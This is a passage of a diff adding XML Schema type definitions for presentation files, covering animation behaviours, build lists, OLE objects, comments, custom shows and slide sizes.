+ </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TLBehaviorAdditiveType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="base"/> + <xsd:enumeration value="sum"/> + <xsd:enumeration value="repl"/> + <xsd:enumeration value="mult"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLBehaviorAccumulateType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="always"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLBehaviorTransformType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="pt"/> + <xsd:enumeration value="img"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLBehaviorOverrideType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="normal"/> + <xsd:enumeration value="childStyle"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLCommonBehaviorData"> + <xsd:sequence> + <xsd:element name="cTn" type="CT_TLCommonTimeNodeData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="tgtEl" type="CT_TLTimeTargetElement" minOccurs="1" maxOccurs="1"/> + <xsd:element name="attrNameLst" type="CT_TLBehaviorAttributeNameList" minOccurs="0" + maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="additive" type="ST_TLBehaviorAdditiveType" use="optional"/> + <xsd:attribute name="accumulate" type="ST_TLBehaviorAccumulateType" use="optional"/> + <xsd:attribute name="xfrmType" type="ST_TLBehaviorTransformType" use="optional"/> + <xsd:attribute name="from" type="xsd:string" use="optional"/> + <xsd:attribute name="to" type="xsd:string" use="optional"/> + <xsd:attribute name="by" type="xsd:string" use="optional"/> + <xsd:attribute name="rctx" type="xsd:string" use="optional"/> + <xsd:attribute name="override" type="ST_TLBehaviorOverrideType" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TLAnimVariantBooleanVal"> + <xsd:attribute name="val" type="xsd:boolean" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TLAnimVariantIntegerVal"> + <xsd:attribute name="val" type="xsd:int" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TLAnimVariantFloatVal"> + <xsd:attribute name="val" type="xsd:float" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TLAnimVariantStringVal"> + <xsd:attribute name="val" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TLAnimVariant"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="boolVal" type="CT_TLAnimVariantBooleanVal"/> + <xsd:element name="intVal" type="CT_TLAnimVariantIntegerVal"/> + <xsd:element name="fltVal" type="CT_TLAnimVariantFloatVal"/> + <xsd:element name="strVal" type="CT_TLAnimVariantStringVal"/> + <xsd:element name="clrVal" type="a:CT_Color"/> + </xsd:choice> + </xsd:complexType> + <xsd:simpleType name="ST_TLTimeAnimateValueTime"> + <xsd:union memberTypes="a:ST_PositiveFixedPercentage ST_TLTimeIndefinite"/> + </xsd:simpleType> + <xsd:complexType name="CT_TLTimeAnimateValue"> + <xsd:sequence> + <xsd:element name="val" type="CT_TLAnimVariant" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="tm" type="ST_TLTimeAnimateValueTime" use="optional" default="indefinite"/> + <xsd:attribute name="fmla" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_TLTimeAnimateValueList"> + <xsd:sequence> + <xsd:element name="tav" type="CT_TLTimeAnimateValue" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TLAnimateBehaviorCalcMode"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="discrete"/> + <xsd:enumeration value="lin"/> + <xsd:enumeration value="fmla"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLAnimateBehaviorValueType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="str"/> + <xsd:enumeration value="num"/> + <xsd:enumeration value="clr"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLAnimateBehavior"> + <xsd:sequence> + <xsd:element name="cBhvr" type="CT_TLCommonBehaviorData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="tavLst" type="CT_TLTimeAnimateValueList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="by" type="xsd:string" use="optional"/> + <xsd:attribute name="from" type="xsd:string" use="optional"/> + <xsd:attribute name="to" type="xsd:string" use="optional"/> + <xsd:attribute name="calcmode" type="ST_TLAnimateBehaviorCalcMode" use="optional"/> + <xsd:attribute name="valueType" type="ST_TLAnimateBehaviorValueType" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TLByRgbColorTransform"> + <xsd:attribute name="r" type="a:ST_FixedPercentage" use="required"/> + <xsd:attribute name="g" type="a:ST_FixedPercentage" use="required"/> + <xsd:attribute name="b" type="a:ST_FixedPercentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TLByHslColorTransform"> + <xsd:attribute name="h" type="a:ST_Angle" use="required"/> + <xsd:attribute name="s" type="a:ST_FixedPercentage" use="required"/> + <xsd:attribute name="l" type="a:ST_FixedPercentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TLByAnimateColorTransform"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="rgb" type="CT_TLByRgbColorTransform"/> + <xsd:element name="hsl" type="CT_TLByHslColorTransform"/> + </xsd:choice> + </xsd:complexType> + <xsd:simpleType name="ST_TLAnimateColorSpace"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="rgb"/> + <xsd:enumeration value="hsl"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLAnimateColorDirection"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="cw"/> + <xsd:enumeration value="ccw"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLAnimateColorBehavior"> + <xsd:sequence> + <xsd:element name="cBhvr" type="CT_TLCommonBehaviorData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="by" type="CT_TLByAnimateColorTransform" minOccurs="0" maxOccurs="1"/> + <xsd:element name="from" type="a:CT_Color" minOccurs="0" maxOccurs="1"/> + <xsd:element name="to" type="a:CT_Color" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="clrSpc" type="ST_TLAnimateColorSpace" use="optional"/> + <xsd:attribute name="dir" type="ST_TLAnimateColorDirection" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_TLAnimateEffectTransition"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="in"/> + <xsd:enumeration value="out"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLAnimateEffectBehavior"> + <xsd:sequence> + <xsd:element name="cBhvr" type="CT_TLCommonBehaviorData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="progress" type="CT_TLAnimVariant" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="transition" type="ST_TLAnimateEffectTransition" default="in" use="optional"/> + <xsd:attribute name="filter" type="xsd:string" use="optional"/> + <xsd:attribute name="prLst" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_TLAnimateMotionBehaviorOrigin"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="parent"/> + <xsd:enumeration value="layout"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLAnimateMotionPathEditMode"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="relative"/> + <xsd:enumeration value="fixed"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLPoint"> + <xsd:attribute name="x" type="a:ST_Percentage" use="required"/> + <xsd:attribute name="y" type="a:ST_Percentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TLAnimateMotionBehavior"> + <xsd:sequence> + <xsd:element name="cBhvr" type="CT_TLCommonBehaviorData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="by" type="CT_TLPoint" minOccurs="0" maxOccurs="1"/> + <xsd:element name="from" type="CT_TLPoint" minOccurs="0" maxOccurs="1"/> + <xsd:element name="to" type="CT_TLPoint" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rCtr" type="CT_TLPoint" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="origin" type="ST_TLAnimateMotionBehaviorOrigin" use="optional"/> + <xsd:attribute name="path" type="xsd:string" use="optional"/> + <xsd:attribute name="pathEditMode" type="ST_TLAnimateMotionPathEditMode" use="optional"/> + <xsd:attribute name="rAng" type="a:ST_Angle" use="optional"/> + <xsd:attribute name="ptsTypes" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TLAnimateRotationBehavior"> + <xsd:sequence> + <xsd:element name="cBhvr" type="CT_TLCommonBehaviorData" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="by" type="a:ST_Angle" use="optional"/> + <xsd:attribute name="from" type="a:ST_Angle" use="optional"/> + <xsd:attribute name="to" type="a:ST_Angle" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TLAnimateScaleBehavior"> + <xsd:sequence> + <xsd:element name="cBhvr" type="CT_TLCommonBehaviorData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="by" type="CT_TLPoint" minOccurs="0" maxOccurs="1"/> + <xsd:element name="from" type="CT_TLPoint" minOccurs="0" maxOccurs="1"/> + <xsd:element name="to" type="CT_TLPoint" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="zoomContents" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_TLCommandType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="evt"/> + <xsd:enumeration value="call"/> + <xsd:enumeration value="verb"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLCommandBehavior"> + <xsd:sequence> + <xsd:element name="cBhvr" type="CT_TLCommonBehaviorData" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute type="ST_TLCommandType" name="type" use="optional"/> + <xsd:attribute name="cmd" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TLSetBehavior"> + <xsd:sequence> + <xsd:element name="cBhvr" type="CT_TLCommonBehaviorData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="to" type="CT_TLAnimVariant" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TLCommonMediaNodeData"> + <xsd:sequence> + <xsd:element name="cTn" type="CT_TLCommonTimeNodeData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="tgtEl" type="CT_TLTimeTargetElement" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="vol" type="a:ST_PositiveFixedPercentage" default="50%" use="optional"/> + <xsd:attribute name="mute" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="numSld" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="showWhenStopped" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_TLMediaNodeAudio"> + <xsd:sequence> + <xsd:element name="cMediaNode" type="CT_TLCommonMediaNodeData" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="isNarration" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_TLMediaNodeVideo"> + <xsd:sequence> + <xsd:element name="cMediaNode" type="CT_TLCommonMediaNodeData" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="fullScrn" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:attributeGroup name="AG_TLBuild"> + <xsd:attribute name="spid" type="a:ST_DrawingElementId" use="required"/> + <xsd:attribute name="grpId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="uiExpand" type="xsd:boolean" use="optional" default="false"/> + </xsd:attributeGroup> + <xsd:complexType name="CT_TLTemplate"> + <xsd:sequence> + <xsd:element name="tnLst" type="CT_TimeNodeList" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="lvl" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_TLTemplateList"> + <xsd:sequence> + <xsd:element name="tmpl" type="CT_TLTemplate" minOccurs="0" maxOccurs="9"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TLParaBuildType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="allAtOnce"/> + <xsd:enumeration value="p"/> + <xsd:enumeration value="cust"/> + <xsd:enumeration value="whole"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLBuildParagraph"> + <xsd:sequence> + <xsd:element name="tmplLst" type="CT_TLTemplateList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_TLBuild"/> + <xsd:attribute name="build" type="ST_TLParaBuildType" use="optional" default="whole"/> + <xsd:attribute name="bldLvl" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="animBg" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="autoUpdateAnimBg" type="xsd:boolean" default="true" use="optional"/> + <xsd:attribute name="rev" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="advAuto" type="ST_TLTime" use="optional" default="indefinite"/> + </xsd:complexType> + <xsd:simpleType name="ST_TLDiagramBuildType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="whole"/> + <xsd:enumeration value="depthByNode"/> + <xsd:enumeration value="depthByBranch"/> + <xsd:enumeration value="breadthByNode"/> + <xsd:enumeration value="breadthByLvl"/> + <xsd:enumeration value="cw"/> + <xsd:enumeration value="cwIn"/> + <xsd:enumeration value="cwOut"/> + <xsd:enumeration value="ccw"/> + <xsd:enumeration value="ccwIn"/> + <xsd:enumeration value="ccwOut"/> + <xsd:enumeration value="inByRing"/> + <xsd:enumeration value="outByRing"/> + <xsd:enumeration value="up"/> + <xsd:enumeration value="down"/> + <xsd:enumeration value="allAtOnce"/> + <xsd:enumeration value="cust"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLBuildDiagram"> + <xsd:attributeGroup ref="AG_TLBuild"/> + <xsd:attribute name="bld" type="ST_TLDiagramBuildType" use="optional" default="whole"/> + </xsd:complexType> + <xsd:simpleType name="ST_TLOleChartBuildType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="allAtOnce"/> + <xsd:enumeration value="series"/> + <xsd:enumeration value="category"/> + <xsd:enumeration value="seriesEl"/> + <xsd:enumeration value="categoryEl"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLOleBuildChart"> + <xsd:attributeGroup ref="AG_TLBuild"/> + <xsd:attribute name="bld" type="ST_TLOleChartBuildType" use="optional" default="allAtOnce"/> + <xsd:attribute name="animBg" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_TLGraphicalObjectBuild"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="bldAsOne" type="CT_Empty"/> + <xsd:element name="bldSub" type="a:CT_AnimationGraphicalObjectBuildProperties"/> + </xsd:choice> + <xsd:attributeGroup ref="AG_TLBuild"/> + </xsd:complexType> + <xsd:complexType name="CT_BuildList"> + <xsd:choice minOccurs="1" maxOccurs="unbounded"> + <xsd:element name="bldP" type="CT_TLBuildParagraph"/> + <xsd:element name="bldDgm" type="CT_TLBuildDiagram"/> + <xsd:element name="bldOleChart" type="CT_TLOleBuildChart"/> + <xsd:element name="bldGraphic" type="CT_TLGraphicalObjectBuild"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_SlideTiming"> + <xsd:sequence> + <xsd:element name="tnLst" type="CT_TimeNodeList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bldLst" type="CT_BuildList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Empty"/> + <xsd:simpleType name="ST_Name"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_Direction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="horz"/> + <xsd:enumeration value="vert"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Index"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:complexType name="CT_IndexRange"> + <xsd:attribute name="st" type="ST_Index" use="required"/> + <xsd:attribute name="end" type="ST_Index" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SlideRelationshipListEntry"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SlideRelationshipList"> + <xsd:sequence> + <xsd:element name="sld" type="CT_SlideRelationshipListEntry" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CustomShowId"> + <xsd:attribute name="id" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:group name="EG_SlideListChoice"> + <xsd:choice> + <xsd:element name="sldAll" type="CT_Empty"/> + <xsd:element name="sldRg" type="CT_IndexRange"/> + <xsd:element name="custShow" type="CT_CustomShowId"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_CustomerData"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TagsData"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomerDataList"> + <xsd:sequence minOccurs="0" maxOccurs="1"> + <xsd:element name="custData" type="CT_CustomerData" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="tags" type="CT_TagsData" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Extension"> + <xsd:sequence> + <xsd:any processContents="lax" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="uri" type="xsd:token" use="required"/> + </xsd:complexType> + <xsd:group name="EG_ExtensionList"> + <xsd:sequence> + <xsd:element name="ext" type="CT_Extension" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_ExtensionList"> + <xsd:sequence> + <xsd:group ref="EG_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ExtensionListModify"> + <xsd:sequence> + <xsd:group ref="EG_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="mod" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_CommentAuthor"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="name" type="ST_Name" use="required"/> + <xsd:attribute name="initials" type="ST_Name" use="required"/> + <xsd:attribute name="lastIdx" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="clrIdx" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CommentAuthorList"> + <xsd:sequence> + <xsd:element name="cmAuthor" type="CT_CommentAuthor" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="cmAuthorLst" type="CT_CommentAuthorList"/> + <xsd:complexType name="CT_Comment"> + <xsd:sequence> + <xsd:element name="pos" type="a:CT_Point2D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="text" type="xsd:string" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="authorId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="dt" type="xsd:dateTime" use="optional"/> + <xsd:attribute name="idx" type="ST_Index" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CommentList"> + <xsd:sequence> + <xsd:element name="cm" type="CT_Comment" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="cmLst" type="CT_CommentList"/> + <xsd:attributeGroup name="AG_Ole"> + <xsd:attribute name="spid" type="a:ST_ShapeID" use="optional"/> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="showAsIcon" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute ref="r:id" use="optional"/> + <xsd:attribute name="imgW" type="a:ST_PositiveCoordinate32" use="optional"/> + <xsd:attribute name="imgH" type="a:ST_PositiveCoordinate32" use="optional"/> + </xsd:attributeGroup> + <xsd:simpleType name="ST_OleObjectFollowColorScheme"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="full"/> + <xsd:enumeration value="textAndBackground"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_OleObjectEmbed"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="followColorScheme" type="ST_OleObjectFollowColorScheme" use="optional" + default="none"/> + </xsd:complexType> + <xsd:complexType name="CT_OleObjectLink"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="updateAutomatic" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_OleObject"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="embed" type="CT_OleObjectEmbed"/> + <xsd:element name="link" type="CT_OleObjectLink"/> + </xsd:choice> + <xsd:element name="pic" type="CT_Picture" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_Ole"/> + <xsd:attribute name="progId" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:element name="oleObj" type="CT_OleObject"/> + <xsd:complexType name="CT_Control"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pic" type="CT_Picture" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_Ole"/> + </xsd:complexType> + <xsd:complexType name="CT_ControlList"> + <xsd:sequence> + <xsd:element name="control" type="CT_Control" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_SlideId"> + <xsd:restriction base="xsd:unsignedInt"> + <xsd:minInclusive value="256"/> + <xsd:maxExclusive value="2147483648"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SlideIdListEntry"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="ST_SlideId" use="required"/> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SlideIdList"> + <xsd:sequence> + <xsd:element name="sldId" type="CT_SlideIdListEntry" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_SlideMasterId"> + <xsd:restriction base="xsd:unsignedInt"> + <xsd:minInclusive value="2147483648"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SlideMasterIdListEntry"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="ST_SlideMasterId" use="optional"/> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SlideMasterIdList"> + <xsd:sequence> + <xsd:element name="sldMasterId" type="CT_SlideMasterIdListEntry" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NotesMasterIdListEntry"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_NotesMasterIdList"> + <xsd:sequence> + <xsd:element name="notesMasterId" type="CT_NotesMasterIdListEntry" minOccurs="0" maxOccurs="1" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_HandoutMasterIdListEntry"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_HandoutMasterIdList"> + <xsd:sequence> + <xsd:element name="handoutMasterId" type="CT_HandoutMasterIdListEntry" minOccurs="0" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_EmbeddedFontDataId"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_EmbeddedFontListEntry"> + <xsd:sequence> + <xsd:element name="font" type="a:CT_TextFont" minOccurs="1" maxOccurs="1"/> + <xsd:element name="regular" type="CT_EmbeddedFontDataId" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bold" type="CT_EmbeddedFontDataId" minOccurs="0" maxOccurs="1"/> + <xsd:element name="italic" type="CT_EmbeddedFontDataId" minOccurs="0" maxOccurs="1"/> + <xsd:element name="boldItalic" type="CT_EmbeddedFontDataId" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_EmbeddedFontList"> + <xsd:sequence> + <xsd:element name="embeddedFont" type="CT_EmbeddedFontListEntry" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SmartTags"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomShow"> + <xsd:sequence> + <xsd:element name="sldLst" type="CT_SlideRelationshipList" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="ST_Name" use="required"/> + <xsd:attribute name="id" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomShowList"> + <xsd:sequence> + <xsd:element name="custShow" type="CT_CustomShow" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_PhotoAlbumLayout"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="fitToSlide"/> + <xsd:enumeration value="1pic"/> + <xsd:enumeration value="2pic"/> + <xsd:enumeration value="4pic"/> + <xsd:enumeration value="1picTitle"/> + <xsd:enumeration value="2picTitle"/> + <xsd:enumeration value="4picTitle"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PhotoAlbumFrameShape"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="frameStyle1"/> + <xsd:enumeration value="frameStyle2"/> + <xsd:enumeration value="frameStyle3"/> + <xsd:enumeration value="frameStyle4"/> + <xsd:enumeration value="frameStyle5"/> + <xsd:enumeration value="frameStyle6"/> + <xsd:enumeration value="frameStyle7"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PhotoAlbum"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="bw" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showCaptions" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="layout" type="ST_PhotoAlbumLayout" use="optional" default="fitToSlide"/> + <xsd:attribute name="frame" type="ST_PhotoAlbumFrameShape" use="optional" default="frameStyle1" + /> + </xsd:complexType> + <xsd:simpleType name="ST_SlideSizeCoordinate"> + <xsd:restriction base="a:ST_PositiveCoordinate32"> + <xsd:minInclusive value="914400"/> + <xsd:maxInclusive value="51206400"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_SlideSizeType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="screen4x3"/> + <xsd:enumeration value="letter"/> + <xsd:enumeration value="A4"/> + <xsd:enumeration value="35mm"/> + <xsd:enumeration value="overhead"/> + <xsd:enumeration value="banner"/> + <xsd:enumeration value="custom"/> + <xsd:enumeration value="ledger"/> + <xsd:enumeration value="A3"/> + <xsd:enumeration value="B4ISO"/> + <xsd:enumeration value="B5ISO"/> + <xsd:enumeration value="B4JIS"/> + <xsd:enumeration value="B5JIS"/> + <xsd:enumeration value="hagakiCard"/> + <xsd:enumeration value="screen16x9"/> + <xsd:enumeration value="screen16x10"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SlideSize"> + <xsd:attribute name="cx" type="ST_SlideSizeCoordinate" use="required"/> + <xsd:attribute name="cy" type="ST_SlideSizeCoordinate" use="required"/> + <xsd:attribute name="type" type="ST_SlideSizeType" use="optional" default="custom"/> + </xsd:complexType> + <xsd:complexType name="CT_Kinsoku"> + <xsd:attribute name="lang" type="xsd:string" use="optional"/> + <xsd:attribute name="invalStChars" type="xsd:string" use="required"/> + <xsd:attribute name="invalEndChars" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_BookmarkIdSeed"> + <xsd:restriction base="xsd:unsignedInt"> + 